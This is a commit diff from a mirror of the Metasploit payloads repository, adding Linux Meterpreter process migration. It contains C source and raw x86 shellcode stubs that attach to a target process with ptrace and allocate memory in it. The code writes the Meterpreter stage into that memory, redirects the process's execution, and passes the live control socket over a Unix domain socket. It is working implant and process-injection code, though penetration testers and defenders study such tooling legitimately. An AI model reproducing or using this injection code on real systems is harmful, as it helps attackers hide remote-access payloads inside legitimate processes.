1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-08 14:36:22 +01:00

Land #93, @jvazquez-r7's linux meterpreter process migration

Tested on Ubuntu 14.04 with 32-bit processes, with and without ptrace
protections enabled.
This commit is contained in:
Brent Cook 2014-12-30 17:27:15 -06:00
commit 9f91b5a921
13 changed files with 1031 additions and 5 deletions

View File

@ -1,8 +1,87 @@
#include "common.h"
#include "base_inject.h"
#include "passfd_server.h"
LONG passfd_thread(THREAD *thread) {
SOCKET *orig_fd = (SOCKET *)(thread->parameter1);
LPSTR sock_path = (LPSTR)(thread->parameter2);
if (orig_fd == NULL || sock_path == NULL)
return ERROR_INVALID_PARAMETER;
return passfd(*orig_fd, sock_path);
}
DWORD
remote_request_core_migrate(Remote *remote, Packet *packet)
{
return (EOPNOTSUPP);
char *sock_path;
Packet * response = NULL;
pid_t pid = 0;
library l;
DWORD result = 0;
SOCKET orig_fd = 0;
dprintf("[MIGRATE] Getting packet data");
response = packet_create_response(packet);
// Get the process identifier to inject into
pid = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);
// Get the target process architecture to inject into
l.arch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);
// Get the length of the library buffer
l.length = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);
// Receive the actual migration library buffer
l.data = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);
// Get the library entry point
l.entry_point = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ENTRY_POINT);
// Get the library base address
l.base_addr = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_BASE_ADDR);
// Get the path for the local socket
sock_path = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_SOCKET_PATH);
dprintf("[MIGRATE] Migrating to %d, Arch: %d, Library Length: 0x%x, Library Base Address: 0x%x, Library Entry Point: 0x%x, Socket path : %s",
pid,
l.arch,
l.length,
l.base_addr,
l.entry_point,
sock_path);
orig_fd = remote_get_fd(remote);
dprintf("[MIGRATE] Creating passfd thread to share socket %d", orig_fd);
THREAD *socket_thread = thread_create((THREADFUNK)passfd_thread, &orig_fd, sock_path, NULL);
if (!socket_thread) {
dprintf("[MIGRATE] Failed to create the passfd thread");
packet_transmit_response(ERROR_INVALID_HANDLE, remote, response);
return ERROR_INVALID_HANDLE;
}
if (!thread_run(socket_thread)) {
thread_destroy(socket_thread);
dprintf("[MIGRATE] Failed to run the passfd thread");
packet_transmit_response(EINVAL, remote, response);
return EINVAL;
}
dprintf("[MIGRATE] Injecting library");
result = inject_library(pid, &l);
if (result != 0) {
thread_join(socket_thread);
thread_destroy(socket_thread);
packet_transmit_response(result, remote, response);
return result;
}
thread_join(socket_thread);
thread_destroy(socket_thread);
dprintf("[MIGRATE] return success");
packet_transmit_response(ERROR_SUCCESS, remote, response);
return FALSE;
}

View File

@ -0,0 +1,323 @@
/*!
* @file posix/base_inject.c
* @brief Definition for functions which provide meterpreter library injection.
* @details These functions are used in order to migrate meterpreter, using
* ptrace to debug the new process host, allocate memory for the
* meterpreter stage and a new stack, and give control. If something
* fails while migration, it should be able to restore the new host
* process and continue execution. Once migration is completed, the
* original process code isn't executed anymore, this could be solved,
* maybe, using clone to execute the meterpreter stage in a new LWP.
*/
#include "base_inject.h"
#include "ptrace.h"
/*
xor %ebp,%ebp
mov $0xffffffff,%edi
mov $0x22,%esi
mov $0x7,%edx
mov $0x120000,%ecx
mov $0x20040000,%ebx
mov $0xc0,%eax
int $0x80 ; mmap
int $0x3 ; trap to allow the debugge to control
*/
/*! @brief mmap code stub */
UCHAR mmap_stub[] =
"\x31\xed" \
"\xbf\xff\xff\xff\xff" \
"\xbe\x22\x00\x00\x00" \
"\xba\x07\x00\x00\x00" \
"\xb9\x00\x00\x12\x00" \
"\xbb\x00\x00\x04\x20" \
"\xb8\xc0\x00\x00\x00" \
"\xcd\x80" \
"\xcc";
/*
push $0x4 ; Options (4 => PASS_FD, 1 => DEBUG)
push $0xffffffff ; Socket
mov $0x5a5a5a5a,%eax ; Entry Point
call *%eax
xor %eax, %eax
inc %eax
int $0x80 ; exit
*/
/*! @brief call code stub */
UCHAR call_stub[] =
"\x68\x04\x00\x00\x00" \
"\x68\xff\xff\xff\xff" \
"\xb8\x5a\x5a\x5a\x5a" \
"\xff\xd0" \
"\x31\xc0" \
"\x40" \
"\xcd\x80";
/*!
* @brief Saves the process state.
* @param pid Process identifier to save.
* @param s Pointer to \c state to store code and registers.
* @returns Indication of success or failure.
* @retval 0 Indicates success.
*/
LONG
save_state(LONG pid, state *s) {
LONG result = 0;
LONG i = 0;
if (s == NULL)
return ERROR_INVALID_PARAMETER;
result = getregs(pid, &(s->regs));
if (result != 0)
return result;
result = read_memory(pid, s->regs.eip, s->memory, MMAP_STUB_SIZE);
if (result != 0)
return result;
return 0;
}
/*!
* @brief Restores the process state and detaches.
* @param pid Process identifier to restore.
* @param s Pointer to \c state with code and registers.
* @returns Indication of success or failure.
* @retval 0 Indicates success.
*/
LONG
restore_state(LONG pid, state *s) {
unsigned long *mem_ptr = NULL;
LONG i = 0;
LONG result = 0;
if (s == NULL)
return ERROR_INVALID_PARAMETER;
mem_ptr = (unsigned long *)(s->memory);
if (mem_ptr == NULL)
return ERROR_INVALID_PARAMETER;
result = write_memory(pid, s->regs.eip, mem_ptr, MMAP_STUB_SIZE);
if (result != 0)
return result;
result = setregs(pid, &(s->regs));
if (result != 0)
return result;
result = detach(pid);
if (result != 0)
return result;
return 0;
}
/*!
* @brief Waits for a trap from the debugged process.
* @param pid Process identifier to wait.
* @returns Indication of success or failure.
* @retval TRUE indicates sigtrap received.
* @retval FALSE indicates any other event.
*/
BOOL
wait_trap(LONG pid) {
LONG wait_status = 0;
waitpid(pid, &wait_status, 0);
if (WIFSTOPPED(wait_status) && WSTOPSIG(wait_status) == SIGTRAP)
return TRUE;
return FALSE;
}
/*!
* @brief Executes an stub of code on a debugged process.
* @param pid Process identifier where to execute code.
* @param addr Process addr to store the code.
* @param stub Pointer to code stub to execute.
* @param stub_size ptrace friendly length of the stub to execute.
* @returns Indication of success or failure.
* @retval 0 indicates success.
*/
LONG
execute_stub(LONG pid, unsigned long addr, unsigned long *stub, ULONG stub_size) {
LONG i = 0;
LONG result = 0;
if (stub_size == 0 || stub == NULL)
return ERROR_INVALID_PARAMETER;
result = write_memory(pid, addr, stub, stub_size);
if (result != 0)
return result;
result = cont(pid);
if (result != 0)
return result;
return 0;
}
/*!
* @brief Allocates memory on a debugged process.
* @param pid Process identifier of the debugged process.
* @param regs Pointer to the \c user_regs_struct of the debugged process.
* @param addr Address to allocate.
* @param length Size to allocate.
* @returns Indication of success or failure.
* @retval 0 indicates success.
*/
LONG
allocate(LONG pid, struct user_regs_struct *regs, unsigned long addr, size_t length) {
unsigned long *alloc_code = (unsigned long *)mmap_stub;
unsigned long *addr_ptr = (unsigned long *)(mmap_stub + MMAP_ADDR_POS);
size_t *length_ptr = (size_t *)(mmap_stub + MMAP_LENGTH_POS);
ULONG code_size = MMAP_STUB_SIZE;
LONG result = 0;
if (regs == NULL) {
return ERROR_INVALID_PARAMETER;
}
// Fix mmap stub with allocation data
addr_ptr[0] = addr;
length_ptr[0] = length;
result = execute_stub(pid, regs->eip, alloc_code, code_size);
if (result != 0)
return result;
if (wait_trap(pid) == FALSE)
return ECANCELED; // We don't know what failed in the remote process
result = getregs(pid, regs);
if (result != 0)
return result;
return 0;
}
/*!
* @brief Redirects execution on a debugged process.
* @param pid Process identifier of the debugged process.
* @param regs Pointer to the \c user_regs_struct of the debugged process.
* @param addr Address where execution should be redirected.
* @returns Indication of success or failure.
* @retval 0 indicates success.
*/
LONG
call(LONG pid, struct user_regs_struct *regs, unsigned long addr) {
unsigned long *alloc_code = (unsigned long *)call_stub;
unsigned long *addr_ptr = (unsigned long *)(call_stub + ENTRY_POINT_POS);
PULONG addr_options_ptr = (PULONG)(call_stub + OPTIONS_POS);
ULONG code_size = CALL_STUB_SIZE;
LONG result = 0;
if (regs == NULL) {
return ERROR_INVALID_PARAMETER;
}
// Fix call stub with entry point
addr_ptr[0] = addr;
if (debugging_enabled == 1) {
addr_options_ptr[0] = 5; // Enable Debugging
} else {
addr_options_ptr[0] = 4; // Enable PASSFD (socket sharing)
}
result = execute_stub(pid, regs->eip, alloc_code, code_size);
if (result != 0)
return result;
if (wait_trap(pid) == FALSE)
return ECANCELED; // We don't know what failed in the remote process
return 0;
}
/*!
* @brief Injects meterpreter stage library in a process.
* @param pid Process identifier to inject.
* @param l Pointer to the \c library to inject.
* @returns Indication of success or failure.
* @retval 0 indicates success.
*/
LONG
inject_library(LONG pid, library *l) {
state s;
struct user_regs_struct regs;
ULONG library_size = _SIZE_OF(l->length);
unsigned long *buf_ptr = (unsigned long *)l->data;
LONG result = 0;
if (l == NULL) {
result = ERROR_INVALID_PARAMETER;
goto end;
}
dprintf("[INJECT] Saving state");
result = attach(pid);
if (result != 0)
goto end;
result = save_state(pid, &s);
if (result != 0)
goto end;
memcpy(&regs, &(s.regs), sizeof(struct user_regs_struct));
dprintf("[INJECT] Creating new stack");
result = allocate(pid, &regs, NULL, STACK_SIZE);
if (result != 0)
goto restore;
dprintf("[INJECT] New stack on 0x%x, fixing registers", regs.eax);
regs.esp = regs.eax + STACK_SIZE;
regs.eip = s.regs.eip;
result = setregs(pid, &regs);
if (result != 0)
goto restore;
dprintf("[INJECT] Allocating space for the library...");
result = allocate(pid, &regs, l->base_addr, l->length);
if (result != 0)
goto restore;
if (regs.eax != l->base_addr) {
result = EFAULT;
goto restore;
}
dprintf("[INJECT] Copying payload to 0x%x", regs.eax);
result = write_memory(pid, regs.eax, buf_ptr, library_size);
if (result != 0)
goto restore;
dprintf("[INJECT] Fixing registers");
regs.eip = s.regs.eip;
result = setregs(pid, &regs);
if (result != 0)
goto restore;
dprintf("[INJECT] Executing call stub");
result = call(pid, &regs, l->entry_point);
if (result != 0)
goto restore;
dprintf("[INJECT] The payload has warned successfully, migration has been successfully");
result = detach(pid);
goto end;
restore:
restore_state(pid, &s);
end:
return result;
}

View File

@ -0,0 +1,60 @@
/*!
* @file posix/base_inject.h
* @brief Declarations for functions which provide meterpreter library injection.
* @details These functions are used in order to migrate meterpreter, using
* ptrace to debug the new process host, allocate memory for the
* meterpreter stage and a new stack, and give control. If something
* fails while migration, it should be able to restore the new host
* process and continue execution. Once migration is completed, the
* original process code isn't executed anymore, this could be solved,
* maybe, using clone to execute the meterpreter stage in a new LWP.
*/
#include "common.h"
/*! Macro to calculate sizes in order to help when writing and reading memory. */
#define _SIZE_OF(buf) (buf / sizeof(long)) + (buf % sizeof(long))
/*! Length of the mmap code stub. */
#define MMAP_STUB_LENGTH 35
/*! ptrace friendly size of the mmap code stub. */
#define MMAP_STUB_SIZE _SIZE_OF(MMAP_STUB_LENGTH)
/*! Position of the length to mmap in the mmap stub. */
#define MMAP_LENGTH_POS 18
/*! Position of the address to mmap in the mmap stub. */
#define MMAP_ADDR_POS 23
/*! Length of the call code stub. */
#define CALL_STUB_LENGTH 27
/*! ptrace friendly size of the call code stub. */
#define CALL_STUB_SIZE _SIZE_OF(CALL_STUB_LENGTH)
/*! Position of the options flags in the call stub */
#define OPTIONS_POS 1
/*! Position of the library entry point in the call stub */
#define ENTRY_POINT_POS 11
/*! Length of the new stack to allocate */
#define STACK_SIZE 0x200000
/*! @brief Container struct for a library to inject and execute. */
typedef struct {
ULONG arch; ///< Library architecture (x86 => 1)
PUCHAR data; ///< Library's raw data
ULONG length; ///< Library length
unsigned long base_addr; ///< Base address
unsigned long entry_point; ///< Entry point address
} library;
/*!
* @brief Container struct for a process data.
* @details Memory and registers which needs to be restored if library
* injection fails.
*/
typedef struct {
struct user_regs_struct regs; ///< Process registers.
unsigned long memory[MMAP_STUB_SIZE]; ///< Code memory to restore.
} state;
LONG save_state(LONG pid, state *s);
LONG restore_state(LONG pid, state *s);
BOOL wait_trap(LONG pid);
LONG execute_stub(LONG pid, unsigned long addr, unsigned long *stub, ULONG stub_size);
LONG allocate(LONG pid, struct user_regs_struct *regs, unsigned long addr, size_t length);
LONG call(LONG pid, struct user_regs_struct *regs, unsigned long addr);
LONG inject_library(LONG pid, library *l);

View File

@ -0,0 +1,44 @@
/*!
* @file passfd_server.c
* @brief Definitions for functions which allow to share a file descriptor.
*/
#include "passfd_server.h"
#include "unix_socket_server.h"
/*!
* @brief Shares a \c SOCKET through an unix local domain socket.
* @details Shares a \c SOCKET between processes in the same machine. A local
* domain socket is used to share the file descriptor. This function
* setups a local domain socket socket, listens for a new connection,
* sends the \c SOCKET after getting it and finally stops.
* @param orig_fd \c SOCKET to share.
* @param sock_path File path for the local domain socket.
* @returns Indication of success or failure.
* @retval 0 Indicates success.
*/
LONG
passfd(SOCKET orig_fd, LPSTR sock_path) {
server_un s;
LONG result = 0;
result = start_server(&s, sock_path);
if (result != 0) {
dprintf("[PASSFD] Starting server failed");
return result;
}
result = accept_connection(&s, 5);
if (result != 0) {
goto stop;
}
result = send_socket(&(s.client), orig_fd);
if (result != 0) {
goto stop;
}
stop:
stop_server(&s);
return result;
}

View File

@ -0,0 +1,7 @@
/*!
* @file passfd_server.h
* @brief Declarations for functions which allow to share a file descriptor.
*/
#include "common.h"
LONG passfd(SOCKET orig_fd, LPSTR sock_path);

View File

@ -0,0 +1,161 @@
/*!
* @file ptrace.c
* @brief Definitions for functions providing ptrace helpers.
*/
#include "ptrace.h"
/*!
* @brief Detaches from the debugged process and restarts it.
* @param pid Process identifier to dettach.
* @returns Indication of success or failure.
* @retval 0 Indicates success.
*/
LONG
detach(LONG pid) {
dprintf("[PTRACE] Dettaching from pid %d", pid);
if (ptrace(PTRACE_DETACH, pid, NULL, NULL) == -1) {
dprintf("[PTRACE] DETACH failed");
return errno;
}
return 0;
}
/*!
* @brief Attaches to a process to debug it.
* @param pid Process identifier to attach.
* @returns Indication of success or failure.
* @retval 0 Indicates success.
*/
LONG
attach(LONG pid) {
dprintf("[PTRACE] Attaching to pid: %d", pid);
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1) {
dprintf("[PTRACE] PTRACE_ATTACH failed");
return errno;
}
return 0;
}
/*!
* @brief Get registers of the debugged process.
* @param pid Process identifier of the debugged process.
* @param regs Pointer to \c user_regs_struct to store the registers.
* @returns Indication of success or failure.
* @retval 0 Indicates success.
*/
LONG
getregs(LONG pid, struct user_regs_struct *regs) {
dprintf("[PTRACE] Getting registers");
if (regs == NULL) {
return ERROR_INVALID_PARAMETER;
}
if (ptrace(PTRACE_GETREGS, pid, NULL, regs) == -1) {
dprintf("[PTRACE] PTRACE_GETREGS failed");
return errno;
}
return 0;
}
/*!
* @brief Set registers of the debugged process.
* @param pid Process identifier of the debugged process.
* @param regs Pointer to \c user_regs_struct with the registers.
* @returns Indication of success or failure.
* @retval 0 Indicates success.
*/
LONG
setregs(LONG pid, struct user_regs_struct *regs) {
dprintf("[PTRACE] Setting registers");
if (regs == NULL) {
return ERROR_INVALID_PARAMETER;
}
if (ptrace(PTRACE_SETREGS, pid, NULL, regs) == -1) {
dprintf("[PTRACE] PRACE_SETREGS failed");
return errno;
}
return 0;
}
/*!
* @brief Continues execution of the debugged process.
* @param pid Process identifier of the debugged process.
* @returns Indication of success or failure.
* @retval 0 Indicates success.
*/
LONG
cont(LONG pid) {
LONG result = 0;
dprintf("[PTRACE] Executing");
result = ptrace(PTRACE_CONT, pid, NULL, NULL);
if (result == -1) {
dprintf("[PTRACE] PTRACE_CONT failed");
return errno;
}
return 0;
}
/*!
* @brief Writes data to the debugged process memory.
* @param pid Process identifier of the debugged process.
* @param addr Address of the debugged process to write the contents.
* @param contents Pointer to the data to write.
* @param size Lenght of contents / \c sizeof(long)
* @returns Indication of success or failure.
* @retval 0 Indicates success.
*/
LONG
write_memory(LONG pid, unsigned long addr, unsigned long *contents, UINT size) {
LONG i = 0;
if (size == 0 || contents == NULL)
return ERROR_INVALID_PARAMETER;
dprintf("[PTRACE] Writing memory");
for (i = 0; i < size; i++) {
// dprintf("[PTRACE] Writting %x to %x", contents[i], (addr + (i * sizeof(void *))));
if (ptrace(PTRACE_POKETEXT, pid, (void *)(addr + (i * sizeof(void *))), (void *)contents[i]) == -1) {
dprintf("[PTRACE] PTRACE_POKETEXT failed");
return errno;
}
}
return 0;
}
/*!
* @brief Reads data from the debugged process memory.
* @param pid Process identifier of the debugged process.
* @param addr Address of the debugged process to read data from.
* @param contents Pointer to the space reserved to store the contents.
* @param size Lenght of data to read / \c sizeof(long)
* @returns Indication of success or failure.
* @retval 0 Indicates success.
*/
LONG
read_memory(LONG pid, unsigned long addr, unsigned long *contents, UINT size) {
LONG i = 0;
if (size == 0 || contents == NULL)
return ERROR_INVALID_PARAMETER;
dprintf("[PTRACE] Reading memory");
for (i = 0; i < size; i++) {
contents[i] = ptrace(PTRACE_PEEKTEXT, pid, (void *)(addr + (i * sizeof(void *))), NULL);
if (contents[i] == -1) {
dprintf("[PTRACE] PTRACE_PEEKTEXT failed");
return errno;
}
}
return 0;
}

View File

@ -0,0 +1,13 @@
/*!
* @file ptrace.h
* @brief Declarations for functions providing ptrace helpers.
*/
#include "common.h"
LONG detach(LONG pid);
LONG attach(LONG pid);
LONG getregs(LONG pid, struct user_regs_struct *regs);
LONG setregs(LONG pid, struct user_regs_struct *regs);
LONG cont(LONG pid);
LONG write_memory(LONG pid, unsigned long addr, unsigned long *contents, UINT size);
LONG read_memory(LONG pid, unsigned long addr, unsigned long *contents, UINT size);

View File

@ -0,0 +1,186 @@
/*!
* @file unix_socket_server.c
* @brief Definitions for functions which provide an unix domain socket server.
* @details An implementation of an unix domain socket for local communications.
* Useful to communicate data between processes. It is used while in
* meterpreter migration to share the socket between the old and new
* host process.
*/
#include "unix_socket_server.h"
/*!
* @brief Creates an unix local domain socket and listens on it.
* @param s Pointer to the \c server_un to start.
* @param sock_path File path for the local domain socket.
* @returns Indication of success or failure.
* @retval 0 Indicates success.
*/
LONG
start_server(server_un *s, LPSTR sock_path) {
LONG flags;
if ((sock_path == NULL) || (s == NULL))
return ERROR_INVALID_PARAMETER;
s->timeout.tv_sec = DEFAULT_TIMEOUT; // Default timeout
s->timeout.tv_usec = 0;
dprintf("[UNIX SOCKET SERVER] Setting up the server");
if ((s->socket = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {
dprintf("[UNIX SOCKET SERVER] socket failed");
return errno;
}
// Set up non blocking mode
// http://stackoverflow.com/questions/3444729/using-accept-and-select-at-the-same-time
FD_ZERO(&(s->set));
FD_SET(s->socket, &(s->set));
flags = fcntl(s->socket, F_GETFL, 0);
fcntl(s->socket, F_SETFL, flags | O_NONBLOCK);
s->local.sun_family = AF_UNIX;
memset(s->local.sun_path, NULL, UNIX_PATH_MAX);
strncpy(s->local.sun_path, sock_path, UNIX_PATH_MAX - 1);
unlink(s->local.sun_path);
if (bind(s->socket, (struct sockaddr *)&(s->local), sizeof(struct sockaddr_un)) == -1) {
dprintf("[UNIX SOCKET SERVER] bind failed");
return errno;
}
if (listen(s->socket, 1) == -1) {
dprintf("[UNIX SOCKET SERVER] listen failed");
return errno;
}
return 0;
}
/*!
* @brief Accepts a new connection.
* @param s Pointer to the \c server_un listening.
* @param timeout Time, in seconds, to wait for a new connection (default = 5).
* @returns Indication of success or failure.
* @retval 0 Indicates success.
*/
LONG
accept_connection(server_un *s, DWORD timeout) {
connection_un *c;
LONG rv;
if (s == NULL) {
dprintf("[UNIX SOCKET SERVER] NULL server");
return ERROR_INVALID_PARAMETER;
}
c = &(s->client);
if (c == NULL) {
dprintf("[UNIX SOCKET SERVER] NULL server");
return ERROR_INVALID_PARAMETER;
}
if (timeout != -1) {
s->timeout.tv_sec = timeout;
}
dprintf("[UNIX SOCKET SERVER] Waiting for a new connection");
rv = select(s->socket + 1, &(s->set), NULL, NULL, &(s->timeout));
if(rv == -1) {
dprintf("[UNIX SOCKET SERVER] select failed");
return errno;
} else if (rv == 0) {
dprintf("[UNIX SOCKET SERVER] timeout")
return ETIME;
}
if ((c->socket = accept(s->socket, (struct sockaddr *)&(c->remote), &(s->timeout))) == -1) {
dprintf("[UNIX SOCKET SERVER] accept failed");
return errno;
}
return 0;
}
/*!
* @brief Close an existent connection.
* @param c Pointer to the \c connection_un to close.
* @returns Indication of success or failure.
* @retval 0 Indicates success.
*/
LONG
close_connection(connection_un *c) {
if (c == NULL) {
dprintf("[UNIX SOCKET SERVER] NULL connection");
return ERROR_INVALID_PARAMETER;
}
if (close(c->socket) == -1){
dprintf("[UNIX SOCKET SERVER] Close connection failed");
return errno;
}
return 0;
}
/*!
* @brief Stops a listening server.
* @param c Pointer to the \c server_un to stop.
* @returns Indication of success or failure.
* @retval 0 Indicates success.
*/
LONG
stop_server(server_un *s) {
if (s == NULL) {
dprintf("[UNIX SOCKET SERVER] NULL server");
return ERROR_INVALID_PARAMETER;
}
close_connection(&(s->client));
close(s->socket);
unlink(s->local.sun_path);
return 0;
}
/*!
* @brief Sends a files descriptor over an existing connection.
* @param c Pointer to the \c connection_un to send the socket.
* @param fd file descriptor to send.
* @returns Indication of success or failure.
* @retval 0 Indicates success.
*/
LONG
send_socket(connection_un *c, HANDLE fd) {
struct iovec vector;
struct msghdr msg;
struct cmsghdr * cmsg;
dprintf("[UNIX SOCKET SERVER] Building message for socket sharing...");
vector.iov_base = "METERPRETER";
vector.iov_len = strlen("METERPRETER") + 1;
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_iov = &vector;
msg.msg_iovlen = 1;
cmsg = alloca(sizeof(struct cmsghdr) + sizeof(fd));
cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(fd);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
memcpy(CMSG_DATA(cmsg), &fd, sizeof(fd));
msg.msg_control = cmsg;
msg.msg_controllen = cmsg->cmsg_len;
if (sendmsg(c->socket, &msg, 0) != vector.iov_len) {
dprintf("[UNIX SOCKET SERVER] sendmsg failed");
return errno;
}
return 0;
}

View File

@ -0,0 +1,29 @@
/*!
* @file unix_socket_server.h
* @brief Declarations for functions which provide a unix domain socket server.
*/
#include "common.h"
/*! Default timeout (seconds) to apply when waiting for a new connection. */
#define DEFAULT_TIMEOUT 5
/*! @brief Container struct for a connection handled by the server. */
typedef struct {
SOCKET socket; ///< Connection socket.
struct sockaddr_un remote; ///< Address of the connection.
} connection_un;
/*! @brief Container struct for a unix domain socket server */
typedef struct {
struct sockaddr_un local; ///< Address of the server.
connection_un client; ///< Connection handled by the server.
fd_set set; ///< Set of file descriptors to monitor when accepting new connections.
struct timeval timeout; ///< Timeout to apply when waitinf for a new connection.
SOCKET socket; ///< Server socket.
} server_un;
LONG start_server(server_un *s, LPSTR sock_path);
LONG accept_connection(server_un *s, DWORD timeout);
LONG close_connection(connection_un *c);
LONG stop_server(server_un *s);
LONG send_socket(connection_un *c, HANDLE fd);

View File

@ -42,6 +42,11 @@
#include <sys/atomics.h>
#include <sys/ptrace.h>
#include <user.h>
#include <errno.h>
#include <sys/un.h>
#define FLAGS_LEN 100
typedef struct ___u128 {

View File

@ -140,6 +140,9 @@ typedef enum
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///< Represents a migration payload (string).
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///< Represents a migration target architecture.
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///< Represents a migration technique (unsigned int).
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///< Represents a migration payload base address (unsigned int).
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///< Represents a migration payload entry point (unsigned int).
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///< Represents a unix domain socket path, used to migrate on linux (string)
// Cryptography
TLV_TYPE_CIPHER_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 500), ///< Represents the name of a cipher.

View File

@ -15,6 +15,7 @@
#include <sys/stat.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <endian.h>
#include <sys/sysmacros.h>
@ -62,13 +63,17 @@ extern int (*pthread_mutex_lock_fp)(pthread_mutex_t *mutex);
extern int (*pthread_mutex_unlock_fp)(pthread_mutex_t *mutex);
int dlsocket(void *libc);
int pass_fd(void *libc);
void perform_fd_cleanup(int *fd);
#define OPT_DEBUG_ENABLE (1 << 0)
#define OPT_NO_FD_CLEANUP (1 << 1)
#define OPT_DEBUG_ENABLE (1 << 0)
#define OPT_NO_FD_CLEANUP (1 << 1)
#define OPT_PASS_FD (1 << 2)
int global_debug = 0;
char sock_path[UNIX_PATH_MAX] = "/tmp/meterpreter.sock";
/*
* Map in libraries, and hand off execution to the meterpreter server
*/
@ -113,7 +118,32 @@ unsigned metsrv_rtld(int fd, int options)
pthread_mutex_unlock_fp = unlock_sym;
}
if(fstat(fd, &statbuf) == -1) {
if (options & OPT_PASS_FD) {
unsigned int (*sleep)(unsigned int seconds);
int (*raise)(int sig);
TRACE("[ Solving symbols ]\n");
sleep = dlsym(libs[LIBC_IDX].handle, "sleep");
if (!sleep) {
TRACE("[ Failed to solve sleep ]\n");
exit(-1);
}
raise = dlsym(libs[LIBC_IDX].handle, "raise");
if (!raise) {
TRACE("[ Failed to solve raise ]\n");
exit(-1);
}
fd = pass_fd(libs[LIBC_IDX].handle);
if (fd == -1) {
exit(-1);
} else {
TRACE("[ Warning the migrating process and give to the server time to catch up... ]\n");
raise(SIGTRAP);
sleep(4);
}
} else if(fstat(fd, &statbuf) == -1) {
options = OPT_DEBUG_ENABLE;
TRACE("[ supplied fd fails fstat() check, using dlsocket() ]\n");
@ -135,6 +165,7 @@ unsigned metsrv_rtld(int fd, int options)
global_debug = 1;
enable_debugging();
}
TRACE("[ logging will stop unless OPT_NO_FD_CLEANUP is set ]\n");
if(!(options & OPT_NO_FD_CLEANUP)) {
@ -239,6 +270,91 @@ int dlsocket(void *libc)
}
int pass_fd(void *libc) {
int (*socket)(int domain, int type, int protocol);
int (*connect)(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
ssize_t (*recvmsg)(int sockfd, struct msghdr *msg, int flags);
char * (*strncpy)(char *dst, const char *src, size_t n);
int fd = -1;
TRACE("[ Receiving socket file descriptor ]\n");
TRACE("[ Solving symbols ]\n");
socket = dlsym(libc, "socket");
if (!socket) {
TRACE("[ Failed to solve socket ]\n");
return -1;
}
connect = dlsym(libc, "connect");
if (!connect) {
TRACE("[ Failed to solve connect ]\n");
return -1;
}
recvmsg = dlsym(libc, "recvmsg");
if (!recvmsg) {
TRACE("[ Failed to solve recvmsg ]\n");
return -1;
}
strncpy = dlsym(libc, "strncpy");
if (!recvmsg) {
TRACE("[ Failed to solve strncpy ]\n");
return -1;
}
TRACE("[ Creating the message structs ]\n");
char buf[80];
struct iovec vector;
struct msghdr msg;
struct cmsghdr * cmsg;
int s, t, len;
struct sockaddr_un remote;
vector.iov_base = buf;
vector.iov_len = 80;
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_iov = &vector;
msg.msg_iovlen = 1;
cmsg = alloca(sizeof(struct cmsghdr) + sizeof(fd));
cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(fd);
msg.msg_control = cmsg;
msg.msg_controllen = cmsg->cmsg_len;
TRACE("[ Creating local unix socket ]\n");
if ((s = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {
TRACE("[ Failed to create UNIX SOCKET ]\n");
return -1;
}
remote.sun_family = AF_UNIX;
strncpy(remote.sun_path, sock_path, UNIX_PATH_MAX - 1);
len = strlen(remote.sun_path) + sizeof(remote.sun_family);
if (connect(s, (struct sockaddr *)&remote, len) == -1) {
TRACE("[ ERROR connecting ]\n");
return -1;
}
if (!recvmsg(s, &msg, 0)) {
TRACE("[ ERROR recvmsg ]\n");
return -1;
}
TRACE("[ Got file descriptor for '%s' ]\n", (char *) vector.iov_base);
close(s);
TRACE("[ Extracting fd... ]\n");
memcpy(&fd, CMSG_DATA(cmsg), sizeof(fd));
TRACE("[ fd for socket %d ]\n", fd);
return fd;
}
extern soinfo *solist;
/*

View File

@ -25,7 +25,7 @@ CC=gcc
AR=ar
RM=rm
objects = args.o base.o base_dispatch.o base_dispatch_common.o buffer.o \
objects = args.o base.o unix_socket_server.o passfd_server.o ptrace.o base_inject.o base_dispatch.o base_dispatch_common.o buffer.o \
channel.o common.o core.o list.o remote.o thread.o xor.o zlib.o